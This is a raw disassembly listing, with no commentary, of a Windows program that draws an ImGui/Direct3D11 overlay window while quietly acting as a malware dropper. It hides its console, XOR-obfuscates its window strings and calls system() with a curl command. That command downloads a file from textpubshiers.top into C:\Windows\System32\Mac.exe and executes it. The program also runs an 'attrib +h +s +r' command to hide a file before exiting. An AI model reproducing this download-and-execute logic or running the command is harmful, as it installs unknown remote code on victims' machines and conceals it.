mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140066fb0
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x680]
call fcn.14000cc80
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x6a0]
call fcn.14006ca20
cmp byte [rax], 3
jne 0x14006ac7f
mov r8, qword [rax + 8]
mov rdx, r8
cmp qword [r8 + 0x18], 0xf
jbe 0x140066ffa
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp + 0x6b0]
call fcn.14000acb0
nop
movzx edx, byte [rbp + 0x6a0]
lea rcx, [rbp + 0x6a8]
call fcn.14006b1d0
nop
jmp 0x140067045
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rbp + 0x5f0], 0x50
mov dword [rbp + 0x5f4], 0x40
lea rax, [0x14006ae10]
mov qword [rbp + 0x5f8], rax
mov qword [rbp + 0x600], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x608], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x610], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x620], xmm1
lea rax, str.ImGui_Example
mov qword [rbp + 0x630], rax
mov qword [rbp + 0x638], r14
lea rcx, [rbp + 0x5f0]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov ecx, r12d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
lea ebx, [rax - 0xf0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
sub eax, 0xd4
movups xmm0, xmmword [str.u_VUX]
movups xmmword [rbp + 0x8f8], xmm0
mov edx, dword [0x1400cf6e0]
mov dword [rbp + 0x908], edx
movzx ecx, word [0x1400cf6e4]
mov r8d, 0x44
mov word [rbp + 0x8f8], r8w
xor word [rbp + 0x8fa], 0x32
xor word [rbp + 0x8fc], 0x33
xor word [rbp + 0x8fe], 0x34
xor word [rbp + 0x900], 0x35
xor word [rbp + 0x902], 0x36
xor word [rbp + 0x904], 0x37
xor word [rbp + 0x906], 0x38
xor dx, 0x39
mov word [rbp + 0x908], dx
xor word [rbp + 0x90a], 0x3a
xor cx, 0x3b
mov word [rbp + 0x90c], cx
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], 0x1e2
mov dword [rsp + 0x30], 0x1ab
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
mov r9d, 0x80000000
lea r8, [rbp + 0x8f8]
mov rdx, qword [rbp + 0x630]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [0x14053ffc8], rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
mov rcx, qword [0x14053ffc8]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, qword [0x14053ffc8]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400cfda0]
movdqu xmmword [rbp + 0x8e0], xmm0
lea rdx, [rbp + 0x8e0]
mov rcx, qword [0x14053ffc8]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
movups xmmword [rbp + 0x8f8], xmm0
movups xmmword [0x14053ffd0], xmm0
lea rdx, [0x14053ffd0]
mov rcx, qword [0x14053ffc8]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov qword [rbp + 0x574], r14
mov qword [rbp + 0x588], 2
mov qword [rbp + 0x5a0], 2
mov qword [rbp + 0x560], 0
mov dword [rbp + 0x570], 0x1c
mov dword [rbp + 0x568], 0x3c
mov dword [rbp + 0x56c], r12d
mov dword [rbp + 0x584], 0x20
mov rax, qword [0x14053ffc8]
mov qword [rbp + 0x590], rax
mov qword [rbp + 0x57c], 1
mov qword [rbp + 0x598], 1
mov dword [rbp + 0x8f0], 0xb000
mov dword [rbp + 0x8f4], 0xa000
lea rbx, [0x140540148]
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x660]
mov qword [rsp + 0x50], rax
lea rdi, [0x140540100]
mov qword [rsp + 0x48], rdi
lea rsi, [0x1405400f8]
mov qword [rsp + 0x40], rsi
lea rax, [rbp + 0x560]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x8f0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
cmp eax, 0x887a0004
jne 0x140067397
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x660]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rsi
lea rax, [rbp + 0x560]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x8f0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 5
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
jne 0x14006a736
mov rcx, qword [0x1405400f8]
mov rax, qword [rcx]
lea r9, [rbp + 0x550]
lea r8, [0x1400cf390]
xor edx, edx
call qword [rax + 0x48]
mov rcx, qword [0x140540100]
mov rax, qword [rcx]
lea r9, [0x1405400f0]
xor r8d, r8d
mov rdx, qword [rbp + 0x550]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x550]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov edx, 0xa
mov rcx, qword [0x14053ffc8]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14053ffc8]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x14053ff50]
lea rcx, str.curl__s_https:__textpubshiers.top_Stb_PokerFace_BritneySpears005_Special_Sprdr44_theone.txt__o_C:WindowsSystem32Mac.exe__C:WindowsSystem32Mac.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [0x14053ff40]
mov ecx, 0x6280
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r9, rax
mov r8, qword [0x14053ff50]
test r8, r8
je 0x14006749d
mov r10d, dword [r8 + 0x3f58]
movsx rax, word [r8 + 0x60f0]
lea rdx, [r8 + 0x60f4]
lea rdx, [rdx + rax*8]
cmp dword [rdx], r10d
je 0x140067492
lea ecx, [rax + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x60f0], cx
movsx rax, cx
lea rdx, [r8 + 0x60f4]
lea rdx, [rdx + rax*8]
mov dword [rdx], r10d
mov dword [rdx + 4], 0
inc word [rdx + 4]
inc dword [r8 + 0x60e8]
mov qword [rbp + 0x650], r9
lea rax, [rbp + 0x100]
mov qword [rbp + 0x640], rax
mov qword [rbp + 0x158], r9
test r9, r9
je 0x1400674ca
xor edx, edx
mov rcx, r9
call fcn.140016a80
jmp 0x1400674cd
mov rax, r14
mov qword [0x14053ff50], rax
call fcn.14001afc0
test rbx, rbx
je 0x1400674e7
mov qword [0x14053ff50], rbx
jmp 0x1400674ee
mov rbx, qword [0x14053ff50]
mov qword [rbx + 0x20], r14
or dword [rbx + 8], 3
xor ecx, ecx
call fcn.1400390b0
mov rcx, qword [0x14053ffc8]
call fcn.140042ff0
call fcn.140042e20
movups xmm1, xmmword [0x1400e4200]
divps xmm1, xmmword [0x1400d0340]
movups xmmword [rbp + 0x120], xmm1
mov rdi, qword [0x14053ff50]
mov dword [rbp + 0x8f8], 2
movups xmm0, xmmword [rdi + 0x39ec]
movups xmmword [rbp + 0x8fc], xmm0
lea rcx, [rdi + 0x4a78]
lea rdx, [rbp + 0x8f8]
call fcn.140030570
cmp dword [rdi + 0x4a74], 2
je 0x14006756c
movups xmm0, xmmword [rbp + 0x120]
movups xmmword [rdi + 0x39ec], xmm0
movdqa xmm6, xmmword [0x1400cff80]
movups xmmword [rbp + 0x8f8], xmm6
mov rdi, qword [0x14053ff50]
mov dword [rbp + 0x8f8], 3
movups xmm0, xmmword [rdi + 0x39fc]
movups xmmword [rbp + 0x8fc], xmm0
lea rcx, [rdi + 0x4a78]
lea rdx, [rbp + 0x8f8]
call fcn.140030570
cmp dword [rdi + 0x4a74], 3
je 0x1400675bd
movups xmmword [rdi + 0x39fc], xmm6
mov rax, qword [0x14053ff50]
mov qword [rax + 0x3914], 0
mov qword [rax + 0x38f8], 0
mov qword [rax + 0x392c], 0
xorps xmm2, xmm2
movups xmmword [rbp + 0x560], xmm2
movups xmmword [rbp + 0x570], xmm2
movups xmmword [rbp + 0x580], xmm2
movups xmmword [rbp + 0x590], xmm2
movups xmmword [rbp + 0x5a0], xmm2
movups xmmword [rbp + 0x5b0], xmm2
movups xmmword [rbp + 0x5c0], xmm2
movups xmmword [rbp + 0x5d0], xmm2
movups xmmword [rbp + 0x5e0], xmm2
mov byte [rbp + 0x56c], 1
mov dword [rbp + 0x578], 2
mov dword [rbp + 0x57c], r12d
mov dword [rbp + 0x5a4], 0x7f7fffff
movss xmm7, dword [0x1400cfc68]
mov dword [rbp + 0x5b0], 0x3f800000
mov dword [rbp + 0x5b4], 0x3f800000
mov edi, 0xffff
mov word [rbp + 0x5b8], di
movups xmm0, xmmword [rbp + 0x560]
movups xmmword [rbp + 0x980], xmm0
movups xmm1, xmmword [rbp + 0x570]
movups xmmword [rbp + 0x990], xmm1
movups xmmword [rbp + 0x9a0], xmm2
movups xmmword [rbp + 0x9b0], xmm2
movups xmm0, xmmword [rbp + 0x5a0]
movups xmmword [rbp + 0x9c0], xmm0
movups xmm1, xmmword [rbp + 0x5b0]
movups xmmword [rbp + 0x9d0], xmm1
movups xmmword [rbp + 0x9e0], xmm2
movups xmmword [rbp + 0x9f0], xmm2
movups xmmword [rbp + 0xa00], xmm2
lea rax, [0x1404a0c40]
mov qword [rbp + 0x980], rax
mov dword [rbp + 0x988], 0x4d33c
mov dword [rbp + 0x994], 0x41880000
lea rdx, [rbp + 0x980]
mov rcx, qword [rbx + 0x38]
call fcn.14003d4b0
mov qword [0x140540020], rax
xorps xmm2, xmm2
movups xmmword [rbp + 0x560], xmm2
movups xmmword [rbp + 0x570], xmm2
movups xmmword [rbp + 0x580], xmm2
movups xmmword [rbp + 0x590], xmm2
movups xmmword [rbp + 0x5a0], xmm2
movups xmmword [rbp + 0x5b0], xmm2
movups xmmword [rbp + 0x5c0], xmm2
movups xmmword [rbp + 0x5d0], xmm2
movups xmmword [rbp + 0x5e0], xmm2
mov byte [rbp + 0x56c], 1
mov dword [rbp + 0x578], 2
mov dword [rbp + 0x57c], r12d
mov dword [rbp + 0x5a4], 0x7f7fffff
mov dword [rbp + 0x5b0], 0x3f800000
mov dword [rbp + 0x5b4], 0x3f800000
mov word [rbp + 0x5b8], di
movups xmm0, xmmword [rbp + 0x560]
movups xmmword [rbp + 0x980], xmm0
movups xmm1, xmmword [rbp + 0x570]
movups xmmword [rbp + 0x990], xmm1
movups xmmword [rbp + 0x9a0], xmm2
movups xmmword [rbp + 0x9b0], xmm2
movups xmm0, xmmword [rbp + 0x5a0]
movups xmmword [rbp + 0x9c0], xmm0
movups xmm1, xmmword [rbp + 0x5b0]
movups xmmword [rbp + 0x9d0], xmm1
movups xmmword [rbp + 0x9e0], xmm2
movups xmmword [rbp + 0x9f0], xmm2
movups xmmword [rbp + 0xa00], xmm2
lea rax, [0x1404ee6d0]
mov qword [rbp + 0x980], rax
mov dword [rbp + 0x988], 0x4d4a8
mov dword [rbp + 0x994], 0x41c80000
lea rdx, [rbp + 0x980]
mov rcx, qword [rbx + 0x38]
call fcn.14003d4b0
mov qword [rsp + 0x30], r14
lea rax, [0x14053fff8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, 0x6f46
lea rdx, [0x140499cf0]
mov rcx, qword [0x140540100]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r14
lea rax, [0x14053fff0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, 0x18ac3
lea rdx, [0x1400e4550]
mov rcx, qword [0x140540100]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r14
lea rax, [0x140540010]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, 0x108
lea rdx, [0x14053bb80]
mov rcx, qword [0x140540100]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r14
lea rax, [0x140540028]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, 0x7c
lea rdx, [0x140499c70]
mov rcx, qword [0x140540100]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r14
lea rax, [0x14053ffe0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, 0x16e
lea rdx, [0x140499b00]
mov rcx, qword [0x140540100]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r14
lea rax, [0x140540018]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, 0x407
lea rdx, [0x1404996f0]
mov rcx, qword [0x140540100]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r14
lea rax, [0x14053ffe8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, 0x2e2
lea rdx, [0x1400fd020]
mov rcx, qword [0x140540100]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r14
lea rax, [0x140540008]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, 0x749
lea rdx, [0x1404edf80]
mov rcx, qword [0x140540100]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r14
lea rax, [0x140540000]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, 0x340
lea rdx, [0x1400e4210]
mov rcx, qword [0x140540100]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
xorps xmm13, xmm13
mov dword [rbp + 0x8f0], 0
mov ebx, 0x28
movss xmm8, dword [0x1400d0380]
movss xmm9, dword [0x1400cfd10]
movss xmm10, dword [0x1400cfc10]
movss xmm12, dword [0x1400cfc34]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x44fc3a35
imul r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1db
sub r8d, ecx
movd xmm6, r8d
cvtdq2ps xmm6, xmm6
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x5d9f7391
imul r8d
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x2bc
sub r8d, ecx
movd xmm0, r8d
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x8f8], xmm0
movss dword [rbp + 0x8fc], xmm6
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
movd xmm1, r8d
cvtdq2ps xmm1, xmm1
divss xmm1, xmm9
addss xmm1, xmm10
xorps xmm1, xmm8
movsd xmm0, qword [rbp + 0x8f0]
shufps xmm0, xmm0, 0xe1
movss xmm0, xmm1
shufps xmm0, xmm0, 0xe1
movsd qword [rbp + 0x8f0], xmm0
movsd qword [rbp + 0x900], xmm0
movss dword [rbp + 0x908], xmm7
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x55555556
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
sub r8d, ecx
inc r8d
movd xmm2, r8d
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm12
movss dword [rbp + 0x90c], xmm2
mov dword [rbp + 0x910], 0x60ffffff
mov rdx, qword [0x140540110]
cmp rdx, qword [0x140540118]
je 0x140067b57
movups xmm0, xmmword [rbp + 0x8f8]
movups xmmword [rdx], xmm0
movaps xmm1, xmm7
unpcklps xmm1, xmm2
movsd qword [rdx + 0x10], xmm1
mov dword [rdx + 0x18], 0x60ffffff
add qword [0x140540110], 0x1c
jmp 0x140067b63
lea r8, [rbp + 0x8f8]
call fcn.14006fd50
sub rbx, 1
jne 0x140067a13
xor r13b, r13b
movabs r15, 0x4924924924924925
movdqa xmm10, xmmword [0x1400d02c0]
movdqa xmm8, xmmword [0x1400d0300]
movdqa xmm9, xmmword [0x1400d0330]
movss xmm7, dword [0x1400cfbf4]
movss xmm6, dword [0x1400cfcf4]
movdqa xmm12, xmmword [0x1400cfe20]
nop
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x8a0]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140067c20
nop
lea rcx, [rbp + 0x8a0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x8a0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
movzx r13d, r13b
cmp dword [rbp + 0x8a8], 0x12
cmove r13d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x8a0]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140067bd0
test r13b, r13b
jne 0x14006a41b
mov rax, qword [0x14053ff50]
test rax, rax
je 0x140067c35
mov rcx, qword [rax + 0x98]
jmp 0x140067c38
mov rcx, r14
cmp qword [rcx + 0x48], 0
jne 0x140067c44
call fcn.1400427c0
call fcn.140043ad0
call fcn.14001d5e0
cmp byte [0x1400fd014], 0
je 0x14006a389
mov eax, dword [0x1400cf644]
mov dword [rbp + 0x60], eax
movzx eax, byte [0x1400cf648]
mov byte [rbp + 0x60], 0x4d
xor byte [rbp + 0x61], 0x32
xor byte [rbp + 0x62], 0x33
xor byte [rbp + 0x63], 0x34
xor al, 0x35
mov byte [rbp + 0x64], al
xor edx, edx
mov r8d, 0x3b
lea rcx, [rbp + 0x60]
call fcn.140022af0
mov dword [rbp + 0x1b0], 0x43d48000
mov dword [rbp + 0x1b4], 0x43f00000
xor r8d, r8d
lea rdx, [rbp + 0x1b0]
mov rcx, qword [0x14053ff50]
mov rcx, qword [rcx + 0x4000]
call fcn.140025830
lea rdx, [0x14053ffd0]
mov rcx, qword [0x14053ffc8]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x14053ff50]
mov rcx, qword [rax + 0x4000]
movss xmm2, dword [rcx + 0x28]
ucomiss xmm2, xmm13
jp 0x140067cfe
jne 0x140067cfe
movss xmm0, dword [rcx + 0x2c]
ucomiss xmm0, xmm13
jp 0x140067cfe
je 0x140067d6e
movd xmm0, dword [0x14053ffd4]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rcx + 0x2c]
cvttss2si r8d, xmm0
movd xmm1, dword [0x14053ffd0]
cvtdq2ps xmm1, xmm1
addss xmm1, xmm2
cvttss2si edx, xmm1
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 0x1e0
mov r9d, 0x1a9
mov rcx, qword [0x14053ffc8]
call qword [sym.imp.USER32.dll_MoveWindow]
mov qword [rbp + 0x1b8], 0
mov rax, qword [0x14053ff50]
xor r8d, r8d
lea rdx, [rbp + 0x1b8]
mov rcx, qword [rax + 0x4000]
call fcn.1400256c0
mov edi, r14d
mov r9, qword [0x140540110]
mov rcx, r9
mov r8, qword [0x140540108]
sub rcx, r8
mov rax, r15
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x140067e5b
mov rbx, r14
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [r8 + rbx + 0xc]
mulss xmm1, xmm7
mulss xmm1, xmm6
movss xmm0, dword [r8 + rbx + 4]
addss xmm0, xmm1
movss dword [r8 + rbx + 4], xmm0
mov r8, qword [0x140540108]
comiss xmm13, dword [r8 + rbx + 4]
jbe 0x140067e28
mov dword [r8 + rbx + 4], 0x43ed8000
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x5d9f7391
imul r8d
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x2bc
sub r8d, ecx
movd xmm0, r8d
cvtdq2ps xmm0, xmm0
mov rax, qword [0x140540108]
movss dword [rax + rbx], xmm0
mov r8, qword [0x140540108]
inc edi
add rbx, 0x1c
mov r9, qword [0x140540110]
mov rcx, r9
sub rcx, r8
mov rax, r15
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rax, edi
cmp rax, rdx
jb 0x140067db0
mov esi, r14d
sub r9, r8
mov rax, r15
imul r9
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x140067f65
mov r8, r14
mov rdi, r14
movss xmm15, dword [0x1400cfc34]
movabs r12, 0x4924924924924925
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [0x14053ff50]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
mov rbx, qword [rax + 0x2a8]
mov rax, qword [0x140540108]
mov r15d, dword [rax + rdi + 0x18]
movss xmm2, dword [rax + rdi + 0x14]
imul rdx, r8, 0x1c
add rdx, rax
test r15d, 0xff000000
je 0x140067f26
comiss xmm15, xmm2
ja 0x140067f26
mov dword [rsp + 0x20], 0x30
xor r9d, r9d
mov rcx, rbx
call fcn.14003b420
mov r8d, dword [rbx + 0x78]
dec r8d
mov dword [rbx + 0x78], r8d
mov r9d, r15d
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.14003ae90
mov dword [rbx + 0x78], r14d
mov rax, qword [0x140540108]
inc esi
add rdi, 0x1c
movsxd r8, esi
mov rcx, qword [0x140540110]
sub rcx, rax
mov rax, r12
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp r8, rdx
jb 0x140067ea0
movdqa xmm15, xmmword [0x1400cfef0]
mov r12d, 1
mov rcx, qword [0x14053ff50]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rcx, qword [rcx + 0x4000]
mov r15, qword [rcx + 0x2a8]
mov dword [rbp + 0x1c0], 0x44160000
mov dword [rbp + 0x1c4], 0x43b40000
xor r8d, r8d
lea rdx, [rbp + 0x1c0]
call fcn.140025830
mov rcx, qword [0x14053ff50]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm1, dword [0x1400cfcc4]
addss xmm0, dword [0x1400cfd5c]
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
movdqa xmm0, xmmword [0x1400d0320]
movups xmmword [rbp + 0x110], xmm0
mov dword [rbp + 0x1c8], 0x3f800000
mov dword [rbp + 0x1cc], 0x3f800000
mov qword [rbp + 0x1d0], 0
mov dword [rbp + 0x1d8], 0x41a00000
mov dword [rbp + 0x1dc], 0x41a00000
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1c8]
lea r8, [rbp + 0x1d0]
lea rdx, [rbp + 0x1d8]
mov rcx, qword [0x14053ffe0]
call fcn.140047ed0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.140026970
test al, al
je 0x140068125
xor ecx, ecx
call fcn.14001c7c0
test al, al
je 0x140068125
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x780]
call fcn.140050c80
nop
mov r8, rax
lea rdx, str.attrib__h__s__r__
lea rcx, [rbp + 0x720]
call fcn.14006ba40
nop
lea r8, [0x1400cddd0]
mov rdx, rax
lea rcx, [rbp + 0x6e0]
call fcn.14000c450
nop
lea rcx, [rbp + 0x720]
call fcn.14000a200
nop
lea rcx, [rbp + 0x680]
call fcn.14000a200
lea rcx, [rbp + 0x6e0]
call fcn.14000a170
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [0x14053ff50]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
addss xmm0, dword [0x1400cfcc4]
addss xmm1, dword [0x1400cfd58]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov byte [rax + 0x151], 1
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
movdqa xmm0, xmmword [0x1400d0320]
movups xmmword [rbp + 0x110], xmm0
mov dword [rbp + 0x1e0], 0x3f800000
mov dword [rbp + 0x1e4], 0x3f800000
mov qword [rbp + 0x1e8], 0
mov dword [rbp + 0x1f0], 0x41980000
mov dword [rbp + 0x1f4], 0x41980000
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1e0]
lea r8, [rbp + 0x1e8]
lea rdx, [rbp + 0x1f0]
mov rcx, qword [0x140540028]
call fcn.140047ed0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.140026970
test al, al
je 0x140068234
xor ecx, ecx
call fcn.14001c7c0
test al, al
je 0x140068234
mov edx, 6
mov rcx, qword [0x14053ffc8]
call qword [sym.imp.USER32.dll_ShowWindow]
movss xmm2, dword [0x14053bcbc]
mov rcx, qword [0x14053ff50]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
addss xmm1, dword [0x1400cfd28]
addss xmm2, xmm0
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm2
mov byte [rax + 0x151], 1
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
movdqa xmm0, xmmword [0x1400d0320]
movups xmmword [rbp + 0x110], xmm0
mov dword [rbp + 0x1f8], 0x3f800000
mov dword [rbp + 0x1fc], 0x3f800000
mov qword [rbp + 0x200], 0
mov dword [rbp + 0x220], 0x43110000
mov dword [rbp + 0x224], 0x43110000
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1f8]
lea r8, [rbp + 0x200]
lea rdx, [rbp + 0x220]
mov rcx, qword [0x14053fff8]
call fcn.140047ed0
movss xmm2, dword [0x14053bcbc]
addss xmm2, dword [0x1400cfcb8]
mov rcx, qword [0x14053ff50]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm1, xmm2
addss xmm0, dword [0x1400cfd14]
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
movdqa xmm0, xmmword [0x1400d0320]
movups xmmword [rbp + 0x110], xmm0
mov dword [rbp + 0x160], 0x3f800000
mov dword [rbp + 0x164], 0x3f800000
mov qword [rbp + 0x168], 0
mov dword [rbp + 0x170], 0x43340000
mov dword [rbp + 0x174], 0x43340000
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x160]
lea r8, [rbp + 0x168]
lea rdx, [rbp + 0x170]
mov rcx, qword [0x14053fff0]
call fcn.140047ed0
mov rcx, qword [0x140540020]
call fcn.140025580
cmp dword [0x140540140], 0
jne 0x140068ff0
mov rax, qword [0x14053ff50]
